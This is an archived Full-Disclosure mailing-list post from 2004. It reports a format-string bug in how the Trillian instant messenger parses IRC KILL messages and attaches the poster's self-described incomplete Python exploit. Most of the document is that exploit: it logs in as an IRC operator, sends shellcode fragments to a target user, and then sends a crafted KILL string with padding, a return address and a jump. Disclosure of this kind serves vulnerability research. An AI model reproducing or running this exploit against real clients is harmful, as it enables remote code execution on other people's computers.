[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Full-Disclosure] Advisory 02/2004: Trillian remote overflows-> maybe this is off-topic, but...



Hi,

On the subject of trillian..

Well, for what its worth, there is a format string in the parsing of KILL
messages by trillian (:. requiring you have have oper or RW access to a
clients connection).

Attached is an exploit... not complete, something I was working on and
lost interest. (http://felinemenace.org/~andrewg/split_search.py might be
useful for other irc clients exploits for large shellcodes)..

There seems to be a race involved. The shellcode basically moves around
and gets mangled lots by the display thread or something. I was thinking
that straight ascii-shellcode would be the way to go, or a modification of
split search so it didn't use various stuff like - or < etc.

There is most likely an easier way of exploiting this bug, but *shrug*

Enjoy,
Andrew Griffiths

>> >    "What is Trillian?
>> >
>> >     Trillian is a skinnable, interoperable instant messaging client.
>> Grab the best IM client available on the Internet today!
>> >     Trillian .74 is completely free, with no spyware and no ads.
>> Over 10 million downloads can't be wrong!"
>>
>>"Completely free". Aha. Where is the source code and a suitable license
>> to modify and share modifications?
>>
>>"No spyware". Aha. How can we know without the source? Well, I guess we
>> have to take their word.
>
> No, you're free to reverse engineer Trillian (they might sue you,
> though).  Everything is "open source" if you know assembler.
>
> _________________________________________________________________
> Click, drag and drop. My MSN is the simple way to design your homepage.
> http://click.atdmt.com/AVE/go/onm00200364ave/direct/01/
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html


# trillian KILL format string exploit

import os, struct, socket, time, split_search

class trillian_kill_fmtstr:
    def __init__(self, host="127.0.0.1", port=6667, nick="andrewg", 
operpass="feeling_like_a_freak_on_a_leash", target="andrewg__"):
        self.host = host
        self.port = port
        self.nick = nick
        self.target = target
        self.operpass = operpass
        self.crlf = "\r\n"

        killstr = "PRIVMSG " + target + " :"
        self.max_sc_len = 510 - len(killstr)
        self.retaddr = 0x71a5403d

        self.real_sc = "\x90" * 2000
       #self.real_sc = 
"\xcc\xcc\xcc%-%!#%BBBD------Y!!!-z!!!P-B-A--z-t%-zjzhP--%---Y!-%-z#-#P-p----zR!X-zz$zP-M-%--z%!Q-zH$zP--p---Az%a-zzBzP--------Y3-sNzzP------Y!Y--z!zqP-------A-X-OwizP-m----z--%-zAS1P--!---^!---y&7tP---!---J!--Pz&jP-%----!-M%-!uzhP--C---Mz---zzS4P-N----zqaa-zzzyP------A-AK-tTxzP-h--8-zAMz-zyzzP--d----z---#zLuP---%--T%!--zC#5P-------jHl-izzzP-L----zFh0-zzzzP------^-R%-wvz2P------A%^%-wCyCP------r%ZA-zFzzP-i%G--z!z--z$z&P-------J---KzwIP---%--V-%r-zH#zP--!-A-V!%t-z!0zP-n----z%Ue-z%zzP-F0-%-zx-!-zzO$P---%A--G%v-Oz$zP--2---9zG%-zzzdP------X%---z#LPP-------g^P-xzwzP---S--jWz--zzzXP--W---%z---CzUpP--%---k%---z252P----Z----z-JCZzP-U^R--zyz0-zzzxP-aS---xzI%-zzzcP---^--a%z--y%zdP--K---Gz-h-zzbzP--On---zz--lzz&P------%%ga-2czzP------mc%--zz1UP-------eta-fzzxP------OR-p-zzXzP---!J--r!z-Az$zP--S---!z7A-3zzvP-------%-g-AHZzP-------GXY-$zzzP---A%-%-t%-73z#P---g---WzB-SzzzP-R--I-z-rz-zgzzP--------e%-o-zEP---U--J-zU-zVzzP---LA-%Azz-DxzzP------a--h-zVrzP--^A--YzwG-zzzz!
 
P-I-%--z5!i-zz!zP--!-K-N!fz-z#zzP-!-^A-!hwu-$zzzP---K---Yzq-kzzzP--------%--b&$oP------alx--zzzQP---j----zX--YzzP-^0%--zy%%-zz07P--AjA-%vzs-BzzzP--a-Z-gyNz-zzzzP------%F-D-HzAzP--!---%!%E-e!FzP----%-%!r!-!$z&P--------la-JFzxP-Y^-8-zxZz-zzzzP-A-K5-y6zz-zzzzP-4^V--zyz--zzzrP----e-E--z-zavzP---^--%Qw--Dzz$P-e----zqbh-zzzzP---%p---!z-eu&zP----%-Yma%-zzy$P-j----zQ1W-zzzzP------h^%a-zwHzP--AA---xw%-TzzeP------1--5-zAWzP--%-0--!Vz-G#zzP--------0%-02x2P------YXXX-zzzzP--3%---z!z-Sz$zP-%E---!zQ6-#zzzP\xcc\xff\xe4"


        self.sc =  "\x33\x66\x31\xc9\xeb\x0c\x66\x51\x66\x51\x64\x66\x67"
        self.sc += "\x89\x21\x66\x56\xcc\xe8\xf3\xff\xcc"



        if(self.real_sc.find("\r") != -1):
            print "[*] \r found @ %d" % self.real_sc.find("\r")

        if(self.real_sc.find("\n") != -1):
            print "[*] \n found @ %d" % self.real_sc.find("\n")

                                # bd
        set_edi =  "\xbf\x41\x41\xbd\xbe\x81\xf7\x41\x41\x41\x41"
        set_edi += "\x21\xfe\x87\xf7"
        reset_edi = "\x21\xf7"
        x = split_search.split_search(400, set_edi, reset_edi)
        x.run(self.real_sc)

        #self.sc = "\x90" + x.initial_scanner
        self._chunks = x._chunks

    def run(self):
        sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
        sd.connect((self.host, self.port))
        sd.send("USER " + self.nick + " woohoo localhost localhost :OWNED" + 
self.crlf)
        sd.send("NICK " + self.nick + self.crlf)
        sd.send("OPER " + self.nick + " " + self.operpass + self.crlf)
        time.sleep(3)
        
        # -2 for " :"
        # need to calcuate the server buff and stuff.
        pad = 4055 - len(self.target) - len(self.sc) - 2        
        killbuf = "KILL " + self.target + " :%%%dd" % pad
        killbuf += self.sc
        killbuf += struct.pack("<l", self.retaddr)
        killbuf += "\xeb" + chr(250 - len(self.sc))
        killbuf += self.crlf

        #sd.send("PRIVMSG killtesting :my kill string is " + killbuf + 
self.crlf)

        #sd.send("JOIN #fm" + self.crlf)
        #buf = "PRIVMSG #fm :my target is " + self.target
        #buf += ", my padding length is %d" % pad
        #buf += ", my return address is 0x%08x" % self.retaddr
        #buf += ", my search code len is %d" % len(self.sc)
        #buf += ", and the max shellcode I can send is %d" % self.max_sc_len
        #buf += self.crlf
        #sd.send(buf)

        print sd.recv(2048)

        #sd.send("PRIVMSG " + self.target + " :I've got a quick question if you 
don't mind?" + self.crlf)
        #sd.send("PROVMSG #fm :I'm going for the kill!@!" + self.crlf)
        #sd.send("PRIVMSG killtesting :asl!@!@?" + self.crlf)
        #time.sleep(8)

        for i in self._chunks:
            #i += "\xff\xe4"
            print "length of chunk: %d" % len(i)
            if(i.find("\r") != -1):
                print "[*] \r found!!!"
            if(i.find("\n") != -1):
                print "[*] \n found!!!"
            
            
            #sd.send("PRIVMSG killtesting :" + i + self.crlf)
            #sd.send("PRIVMSG killtesting :chunk" + self.crlf)
            sd.send("PRIVMSG " + self.target + " :" + i + self.crlf)

        sd.send(killbuf)
        time.sleep(10)
        print sd.recv(2048)

        
        
if __name__ == '__main__':
    x = trillian_kill_fmtstr()
    x.run()